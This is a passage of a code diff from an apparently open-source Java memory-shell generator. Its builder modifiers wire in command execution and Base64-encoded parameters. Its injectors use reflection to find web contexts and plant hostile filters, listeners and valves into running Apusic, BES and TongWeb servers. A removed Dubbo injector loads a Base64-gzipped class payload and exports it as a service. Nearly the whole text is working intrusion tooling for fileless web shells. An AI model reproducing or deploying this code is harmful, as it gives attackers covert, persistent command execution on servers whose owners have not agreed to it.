.visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam")));
|
||||
}
|
||||
if (CommandConfig.Encryptor.BASE64.equals(shellToolConfig.getEncryptor())) {
|
||||
builder = builder
|
||||
.visit(MethodCallReplaceVisitorWrapper.newInstance("getParam",
|
||||
shellToolConfig.getShellClassName(), ShellCommonUtil.class.getName()))
|
||||
.defineMethod("base64DecodeToString", String.class, Visibility.PUBLIC, Ownership.STATIC)
|
||||
.withParameters(String.class)
|
||||
.throwing(Exception.class)
|
||||
.intercept(FixedValue.nullValue())
|
||||
.visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString")))
|
||||
.visit(Advice.to(Base64ParamInterceptor.class).on(named("getParam")));
|
||||
}
|
||||
if (CommandConfig.ImplementationClass.RuntimeExec.equals(shellToolConfig.getImplementationClass())) {
|
||||
builder = builder.visit(Advice.withCustomMapping()
|
||||
.bind(TemplateAnnotation.class, shellToolConfig.getTemplate())
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
package com.reajason.javaweb.memshell.generator.command;
|
||||
|
||||
import net.bytebuddy.asm.Advice;
|
||||
import org.apache.commons.io.IOUtils;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
|
||||
@@ -0,0 +1,22 @@
|
||||
package com.reajason.javaweb.memshell.generator.processors;
|
||||
|
||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||
import com.reajason.javaweb.memshell.generator.Processor;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/12/7
|
||||
*/
|
||||
public class JakartaBuilderModifier implements Processor<DynamicType.Builder<?>> {
|
||||
|
||||
@Override
|
||||
public DynamicType.Builder<?> process(DynamicType.Builder<?> builder, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
|
||||
if (shellConfig.isJakarta()) {
|
||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
||||
}
|
||||
return builder;
|
||||
}
|
||||
}
|
||||
@@ -1,16 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.generator.processors;
|
||||
|
||||
import com.reajason.javaweb.asm.ClassRenameUtils;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||
import com.reajason.javaweb.memshell.generator.Processor;
|
||||
|
||||
public class JakartaPostProcessor implements Processor<byte[]> {
|
||||
@Override
|
||||
public byte[] process(byte[] input, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
|
||||
if (shellConfig.isJakarta()) {
|
||||
return ClassRenameUtils.relocateJakarta(input);
|
||||
}
|
||||
return input;
|
||||
}
|
||||
}
|
||||
@@ -17,7 +17,6 @@ import net.bytebuddy.description.modifier.Visibility;
|
||||
import net.bytebuddy.description.type.TypeDescription;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import net.bytebuddy.implementation.FixedValue;
|
||||
import net.bytebuddy.implementation.StubMethod;
|
||||
import net.bytebuddy.matcher.ElementMatchers;
|
||||
|
||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
@@ -47,9 +46,12 @@ public class ListenerBuilderModifier implements Processor<DynamicType.Builder<?>
|
||||
TypeDescription typeDefinition, String newClassName) {
|
||||
MethodList<MethodDescription.InDefinedShape> methods = typeDefinition.getDeclaredMethods();
|
||||
|
||||
if (methods.filter(named("getResponseFromRequest").and(takesArguments(1))).isEmpty()) {
|
||||
throw new GenerationException("please add [getResponseFromRequest(Object request)] method," +
|
||||
" the method body will be auto adapted for multi server");
|
||||
if (methods.filter(ElementMatchers.named("getResponseFromRequest")
|
||||
.and(ElementMatchers.takesArguments(Object.class))
|
||||
.and(ElementMatchers.returns(Object.class)))
|
||||
.isEmpty()) {
|
||||
throw new GenerationException("[public Object getResponseFromRequest(Object request)] method not found" +
|
||||
" make sure arg and return type is Object.class");
|
||||
} else {
|
||||
builder = builder
|
||||
.visit(MethodCallReplaceVisitorWrapper.newInstance(
|
||||
@@ -57,11 +59,13 @@ public class ListenerBuilderModifier implements Processor<DynamicType.Builder<?>
|
||||
.visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")));
|
||||
}
|
||||
|
||||
if (methods.filter(named("getFieldValue").and(takesArguments(Object.class, String.class))).isEmpty()) {
|
||||
if (methods.filter(named("getFieldValue")
|
||||
.and(takesArguments(Object.class, String.class)))
|
||||
.isEmpty()) {
|
||||
builder = builder.defineMethod("getFieldValue", Object.class, Visibility.PUBLIC, Ownership.STATIC)
|
||||
.withParameters(Object.class, String.class)
|
||||
.throwing(Exception.class)
|
||||
.intercept(StubMethod.INSTANCE)
|
||||
.intercept(FixedValue.nullValue())
|
||||
.visit(Advice.to(ShellCommonUtil.GetFieldValueInterceptor.class).on(named("getFieldValue")));
|
||||
}
|
||||
return builder;
|
||||
|
||||
@@ -45,7 +45,6 @@ public class ValveBuilderModifier implements Processor<DynamicType.Builder<?>> {
|
||||
public static final String TONGWEB6_VALVE_PACKAGE = "com.tongweb.web.thor";
|
||||
public static final String TONGWEB7_VALVE_PACKAGE = "com.tongweb.catalina";
|
||||
public static final String TONGWEB8_VALVE_PACKAGE = "com.tongweb.server";
|
||||
public static final String TONGWEB_EMBEDDED_VALVE_PACKAGE = "com.tongweb.container";
|
||||
|
||||
public static DynamicType.Builder<?> modifier(DynamicType.Builder<?> builder, AbstractServer shell, String serverVersion) {
|
||||
String packageName = null;
|
||||
@@ -54,7 +53,7 @@ public class ValveBuilderModifier implements Processor<DynamicType.Builder<?>> {
|
||||
}
|
||||
if (shell instanceof TongWeb) {
|
||||
if (serverVersion == null) {
|
||||
throw new GenerationException("serverVersion is needed for TongWeb Valve, please use one of ['6', '7', '8', '7.E'] for shellConfig.serverVersion");
|
||||
throw new GenerationException("serverVersion is needed for TongWeb Valve, please use one of ['6', '7', '8'] for shellConfig.serverVersion");
|
||||
}
|
||||
switch (serverVersion) {
|
||||
case "6":
|
||||
@@ -66,11 +65,8 @@ public class ValveBuilderModifier implements Processor<DynamicType.Builder<?>> {
|
||||
case "8":
|
||||
packageName = TONGWEB8_VALVE_PACKAGE;
|
||||
break;
|
||||
case "7.E":
|
||||
packageName = TONGWEB_EMBEDDED_VALVE_PACKAGE;
|
||||
break;
|
||||
default:
|
||||
throw new GenerationException("TongWeb Valve unknow serverVersion: [" + serverVersion + "], please use one of ['6', '7', '8', '7.E'] for shellConfig.serverVersion");
|
||||
throw new GenerationException("TongWeb Valve unknow serverVersion: [" + serverVersion + "], please use one of ['6', '7', '8'] for shellConfig.serverVersion");
|
||||
}
|
||||
}
|
||||
if (StringUtils.isNotBlank(packageName)) {
|
||||
|
||||
@@ -8,7 +8,6 @@ import java.lang.reflect.Array;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.HashSet;
|
||||
import java.util.LinkedHashSet;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
@@ -44,7 +43,7 @@ public class ApusicFilterInjector {
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts == null || contexts.isEmpty()) {
|
||||
if (contexts == null) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
@@ -81,7 +80,7 @@ public class ApusicFilterInjector {
|
||||
|
||||
/**
|
||||
* context: com.apusic.web.container.WebContainer
|
||||
* context - webapp: com.apusic.deploy.runtime.WebModule
|
||||
* context -> webapp: com.apusic.deploy.runtime.WebModule
|
||||
* /usr/local/ass/lib/apusic.jar
|
||||
*/
|
||||
public Set<Object> getContext() throws Exception {
|
||||
@@ -146,12 +145,7 @@ public class ApusicFilterInjector {
|
||||
Object filterMapping = filterMappingClass.newInstance();
|
||||
invokeMethod(filterMapping, "setUrlPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||
invokeMethod(filterMapping, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
|
||||
LinkedHashSet beforeFilterMappings = (LinkedHashSet) getFieldValue(webModule, "beforeFilterMappings");
|
||||
LinkedHashSet newSet = new LinkedHashSet();
|
||||
newSet.add(filterMapping);
|
||||
newSet.addAll(beforeFilterMappings);
|
||||
beforeFilterMappings.clear();
|
||||
beforeFilterMappings.addAll(newSet);
|
||||
invokeMethod(webModule, "addBeforeFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMapping});
|
||||
|
||||
// addFilterModel
|
||||
invokeMethod(webModule, "addFilter", new Class[]{String.class, String.class}, new Object[]{getClassName(), getClassName()});
|
||||
@@ -224,25 +218,30 @@ public class ApusicFilterInjector {
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
while (clazz != null && method == null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
method = clazz.getDeclaredMethod(methodName);
|
||||
} else {
|
||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
||||
try {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
while (clazz != null && method == null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
method = clazz.getDeclaredMethod(methodName);
|
||||
} else {
|
||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||
}
|
||||
|
||||
method.setAccessible(true);
|
||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
|
||||
@@ -6,9 +6,7 @@ import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.HashSet;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
import java.util.*;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
@@ -42,7 +40,7 @@ public class ApusicListenerInjector {
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts == null || contexts.isEmpty()) {
|
||||
if (contexts == null) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
@@ -199,25 +197,30 @@ public class ApusicListenerInjector {
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
while (clazz != null && method == null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
method = clazz.getDeclaredMethod(methodName);
|
||||
} else {
|
||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
||||
try {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
while (clazz != null && method == null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
method = clazz.getDeclaredMethod(methodName);
|
||||
} else {
|
||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||
}
|
||||
|
||||
method.setAccessible(true);
|
||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
|
||||
@@ -6,9 +6,7 @@ import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.HashSet;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
import java.util.*;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
@@ -42,7 +40,7 @@ public class ApusicServletInjector {
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts == null || contexts.isEmpty()) {
|
||||
if (contexts == null) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
@@ -200,25 +198,30 @@ public class ApusicServletInjector {
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
while (clazz != null && method == null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
method = clazz.getDeclaredMethod(methodName);
|
||||
} else {
|
||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
||||
try {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
while (clazz != null && method == null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
method = clazz.getDeclaredMethod(methodName);
|
||||
} else {
|
||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||
}
|
||||
|
||||
method.setAccessible(true);
|
||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
|
||||
@@ -40,7 +40,7 @@ public class BesFilterInjector {
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts == null || contexts.isEmpty()) {
|
||||
if (contexts == null) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
@@ -85,27 +85,10 @@ public class BesFilterInjector {
|
||||
for (Thread thread : threads) {
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||
for (Object value : childrenMap.values()) {
|
||||
contexts.addAll(((Map<?, ?>) getFieldValue(value, "children")).values());
|
||||
}
|
||||
} else if (thread.getName().contains("AppServer-utility")) {
|
||||
// BES 10 / BES 11: AppServer-utility thread fallback.
|
||||
// BES 11 target has a wrappedRunnable field; BES 10 does not — try/catch handles both.
|
||||
Object target = getFieldValue(thread, "target");
|
||||
try {
|
||||
target = getFieldValue(target, "wrappedRunnable");
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
Iterable<?> workQueue = (Iterable<?>) getFieldValue(getFieldValue(target, "this$0"), "workQueue");
|
||||
for (Object task : workQueue) {
|
||||
Object runnable = getFieldValue(getFieldValue(task, "callable"), "task");
|
||||
if (!runnable.getClass().getSimpleName().contains("ContainerBackgroundProcessor")) {
|
||||
continue;
|
||||
}
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(runnable, "this$0"), "children");
|
||||
for (Object host : childrenMap.values()) {
|
||||
contexts.addAll(((Map<?, ?>) getFieldValue(host, "children")).values());
|
||||
}
|
||||
Collection<?> values = childrenMap.values();
|
||||
for (Object value : values) {
|
||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||
contexts.addAll(children.values());
|
||||
}
|
||||
} else if (thread.getContextClassLoader() != null) {
|
||||
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
||||
@@ -122,7 +105,7 @@ public class BesFilterInjector {
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||
private ClassLoader getWebAppClassLoader(Object context) {
|
||||
try {
|
||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||
} catch (Exception e) {
|
||||
@@ -235,25 +218,30 @@ public class BesFilterInjector {
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
while (clazz != null && method == null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
method = clazz.getDeclaredMethod(methodName);
|
||||
} else {
|
||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
||||
try {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
while (clazz != null && method == null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
method = clazz.getDeclaredMethod(methodName);
|
||||
} else {
|
||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||
}
|
||||
|
||||
method.setAccessible(true);
|
||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
|
||||
@@ -36,7 +36,7 @@ public class BesListenerInjector {
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts == null || contexts.isEmpty()) {
|
||||
if (contexts == null) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
@@ -77,27 +77,10 @@ public class BesListenerInjector {
|
||||
for (Thread thread : threads) {
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||
for (Object value : childrenMap.values()) {
|
||||
contexts.addAll(((Map<?, ?>) getFieldValue(value, "children")).values());
|
||||
}
|
||||
} else if (thread.getName().contains("AppServer-utility")) {
|
||||
// BES 10 / BES 11: AppServer-utility thread fallback.
|
||||
// BES 11 target has a wrappedRunnable field; BES 10 does not — try/catch handles both.
|
||||
Object target = getFieldValue(thread, "target");
|
||||
try {
|
||||
target = getFieldValue(target, "wrappedRunnable");
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
Iterable<?> workQueue = (Iterable<?>) getFieldValue(getFieldValue(target, "this$0"), "workQueue");
|
||||
for (Object task : workQueue) {
|
||||
Object runnable = getFieldValue(getFieldValue(task, "callable"), "task");
|
||||
if (!runnable.getClass().getSimpleName().contains("ContainerBackgroundProcessor")) {
|
||||
continue;
|
||||
}
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(runnable, "this$0"), "children");
|
||||
for (Object host : childrenMap.values()) {
|
||||
contexts.addAll(((Map<?, ?>) getFieldValue(host, "children")).values());
|
||||
}
|
||||
Collection<?> values = childrenMap.values();
|
||||
for (Object value : values) {
|
||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||
contexts.addAll(children.values());
|
||||
}
|
||||
} else if (thread.getContextClassLoader() != null) {
|
||||
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
||||
|
||||
@@ -35,7 +35,7 @@ public class BesValveInjector {
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts == null || contexts.isEmpty()) {
|
||||
if (contexts == null) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
@@ -76,27 +76,10 @@ public class BesValveInjector {
|
||||
for (Thread thread : threads) {
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||
for (Object value : childrenMap.values()) {
|
||||
contexts.addAll(((Map<?, ?>) getFieldValue(value, "children")).values());
|
||||
}
|
||||
} else if (thread.getName().contains("AppServer-utility")) {
|
||||
// BES 10 / BES 11: AppServer-utility thread fallback.
|
||||
// BES 11 target has a wrappedRunnable field; BES 10 does not — try/catch handles both.
|
||||
Object target = getFieldValue(thread, "target");
|
||||
try {
|
||||
target = getFieldValue(target, "wrappedRunnable");
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
Iterable<?> workQueue = (Iterable<?>) getFieldValue(getFieldValue(target, "this$0"), "workQueue");
|
||||
for (Object task : workQueue) {
|
||||
Object runnable = getFieldValue(getFieldValue(task, "callable"), "task");
|
||||
if (!runnable.getClass().getSimpleName().contains("ContainerBackgroundProcessor")) {
|
||||
continue;
|
||||
}
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(runnable, "this$0"), "children");
|
||||
for (Object host : childrenMap.values()) {
|
||||
contexts.addAll(((Map<?, ?>) getFieldValue(host, "children")).values());
|
||||
}
|
||||
Collection<?> values = childrenMap.values();
|
||||
for (Object value : values) {
|
||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||
contexts.addAll(children.values());
|
||||
}
|
||||
} else if (thread.getContextClassLoader() != null) {
|
||||
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
||||
|
||||
@@ -1,451 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.injector.dubbo;
|
||||
|
||||
import com.alibaba.dubbo.common.URL;
|
||||
import com.alibaba.dubbo.common.bytecode.ClassGenerator;
|
||||
import com.alibaba.dubbo.common.utils.ClassHelper;
|
||||
import com.alibaba.dubbo.config.*;
|
||||
import com.alibaba.dubbo.config.model.ApplicationModel;
|
||||
import com.alibaba.dubbo.config.model.ProviderModel;
|
||||
import javassist.ClassPool;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.PrintWriter;
|
||||
import java.io.StringWriter;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Method;
|
||||
import java.lang.reflect.Modifier;
|
||||
import java.security.ProtectionDomain;
|
||||
import java.util.ArrayList;
|
||||
import java.util.LinkedHashMap;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.concurrent.ConcurrentHashMap;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
public class AlibabaDubboServiceInjector {
|
||||
private final Map<String, ServiceConfig<?>> dynamicServices = new ConcurrentHashMap<>();
|
||||
private static final String DISPLAY_HOST = "x.x.x.x";
|
||||
private static String msg = "";
|
||||
private static boolean ok = false;
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public String getHelperBase64String() {
|
||||
return "{{helperBase64String}}";
|
||||
}
|
||||
|
||||
public AlibabaDubboServiceInjector() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
try {
|
||||
msg += registerService();
|
||||
} catch (Throwable e) {
|
||||
msg += "unexcepted error: " + stackTrace(e);
|
||||
}
|
||||
ok = true;
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
public String registerService() throws Exception {
|
||||
String servicePath = normalizePath(getUrlPattern());
|
||||
if (servicePath.isEmpty()) {
|
||||
throw new IllegalArgumentException("path must not be empty");
|
||||
}
|
||||
|
||||
if (dynamicServices.containsKey(servicePath) || findRegisteredService(servicePath) != null) {
|
||||
return resolveServiceAddresses(servicePath);
|
||||
}
|
||||
|
||||
Class<?> serviceInterface = loadClass(getHelperBase64String());
|
||||
Class<?> serviceImpl = loadClass(getBase64String());
|
||||
validateServiceTypes(serviceInterface, serviceImpl);
|
||||
|
||||
ServiceConfig<?> serviceConfig = createServiceConfig(servicePath, serviceInterface, instantiate(serviceImpl));
|
||||
if (dynamicServices.putIfAbsent(servicePath, serviceConfig) != null) {
|
||||
return resolveServiceAddresses(servicePath);
|
||||
}
|
||||
|
||||
try {
|
||||
serviceConfig.export();
|
||||
return resolveServiceAddresses(servicePath);
|
||||
} catch (RuntimeException e) {
|
||||
dynamicServices.remove(servicePath, serviceConfig);
|
||||
throw e;
|
||||
}
|
||||
}
|
||||
|
||||
private Class<?> loadClass(String payload) throws Exception {
|
||||
ClassLoader classLoader = ClassHelper.getClassLoader(ClassGenerator.class);
|
||||
byte[] classBytes = gzipDecompress(decodeBase64(payload));
|
||||
definePackageIfNeeded(classLoader, getClassName());
|
||||
Class<?> loadedClass = defineClass(classLoader, classBytes);
|
||||
registerInJavassistClassPool(classLoader, classBytes);
|
||||
return loadedClass;
|
||||
}
|
||||
|
||||
private Class<?> defineClass(ClassLoader classLoader, byte[] classBytes) throws Exception {
|
||||
ProtectionDomain protectionDomain = ClassGenerator.class.getProtectionDomain();
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod(
|
||||
"defineClass",
|
||||
String.class,
|
||||
byte[].class,
|
||||
int.class,
|
||||
int.class,
|
||||
ProtectionDomain.class
|
||||
);
|
||||
defineClass.setAccessible(true);
|
||||
return (Class<?>) defineClass.invoke(classLoader, null, classBytes, 0, classBytes.length, protectionDomain);
|
||||
}
|
||||
|
||||
private void definePackageIfNeeded(ClassLoader classLoader, String className) {
|
||||
int packageEnd = className.lastIndexOf('.');
|
||||
if (packageEnd < 0) {
|
||||
return;
|
||||
}
|
||||
|
||||
String packageName = className.substring(0, packageEnd);
|
||||
try {
|
||||
Method getPackage = ClassLoader.class.getDeclaredMethod("getPackage", String.class);
|
||||
getPackage.setAccessible(true);
|
||||
if (getPackage.invoke(classLoader, packageName) != null) {
|
||||
return;
|
||||
}
|
||||
|
||||
Method definePackage = ClassLoader.class.getDeclaredMethod(
|
||||
"definePackage",
|
||||
String.class,
|
||||
String.class,
|
||||
String.class,
|
||||
String.class,
|
||||
String.class,
|
||||
String.class,
|
||||
String.class,
|
||||
java.net.URL.class
|
||||
);
|
||||
definePackage.setAccessible(true);
|
||||
definePackage.invoke(classLoader, packageName, null, null, null, null, null, null, null);
|
||||
} catch (Exception ignored) {
|
||||
// Defining the package is a convenience for older class loaders. The class can still load without it.
|
||||
}
|
||||
}
|
||||
|
||||
private void registerInJavassistClassPool(ClassLoader classLoader, byte[] classBytes) {
|
||||
try {
|
||||
ClassPool classPool = ClassGenerator.getClassPool(classLoader);
|
||||
classPool.makeClass(new ByteArrayInputStream(classBytes));
|
||||
} catch (Throwable ignored) {
|
||||
// Dubbo's proxy generator can still resolve already-defined classes if Javassist registration fails.
|
||||
}
|
||||
}
|
||||
|
||||
private static byte[] decodeBase64(String value) throws Exception {
|
||||
Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
|
||||
return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, value);
|
||||
}
|
||||
|
||||
private static byte[] gzipDecompress(byte[] bytes) throws Exception {
|
||||
GZIPInputStream inputStream = null;
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
try {
|
||||
inputStream = new GZIPInputStream(new ByteArrayInputStream(bytes));
|
||||
byte[] buffer = new byte[4096];
|
||||
int read;
